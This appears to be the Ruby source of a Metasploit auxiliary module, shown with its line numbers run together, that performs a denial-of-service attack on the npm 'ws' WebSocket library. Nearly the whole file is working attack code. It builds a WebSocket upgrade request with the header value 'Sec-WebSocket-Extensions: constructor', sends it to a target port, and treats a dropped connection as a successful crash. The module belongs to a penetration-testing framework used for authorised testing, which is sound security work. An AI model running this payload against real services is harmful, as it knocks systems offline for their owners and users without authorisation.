Path: blob/master/modules/auxiliary/dos/http/ws_dos.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'ws - Denial of Service',12'Description' => %q{13This module exploits a Denial of Service vulnerability in npm module "ws".14By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.15},16'References' => [17['URL', 'https://nodesecurity.io/advisories/550'],18['CWE', '400'],19],20'Author' => [21'Ryan Knell, Sonatype Security Research',22'Nick Starke, Sonatype Security Research',23],24'License' => MSF_LICENSE,25'Notes' => {26'Stability' => [CRASH_SERVICE_DOWN],27'SideEffects' => [],28'Reliability' => []29}30)3132register_options([33Opt::RPORT(3000),34OptString.new('TARGETURI', [true, 'The base path', '/']),35])36end3738def run39path = datastore['TARGETURI']4041# Create HTTP request42req = [43"GET #{path} HTTP/1.1",44'Connection: Upgrade',45"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(5..14)}",46'Sec-WebSocket-Version: 8',47'Sec-WebSocket-Extensions: constructor', # Adding "constructor" as the value for this header causes the DoS48'Upgrade: websocket',49"\r\n"50].join("\r\n")5152begin53connect54print_status("Sending DoS packet to #{peer}")55sock.put(req)5657data = sock.get_once(-1) # Attempt to retrieve data from the socket5859if data =~ /101/ # This is the expected HTTP status code. IF it's present, we have a valid upgrade response.60print_error('WebSocket Upgrade request Successful, service not vulnerable.')61else62fail_with(Failure::Unknown, 'An unknown error occurred')63end6465disconnect66print_error('DoS packet unsuccessful')67rescue ::Rex::ConnectionRefused68print_error("Unable to connect to #{peer}")69rescue ::Errno::ECONNRESET, ::EOFError70print_good("DoS packet successful. #{peer} not responding.")71end72end73end747576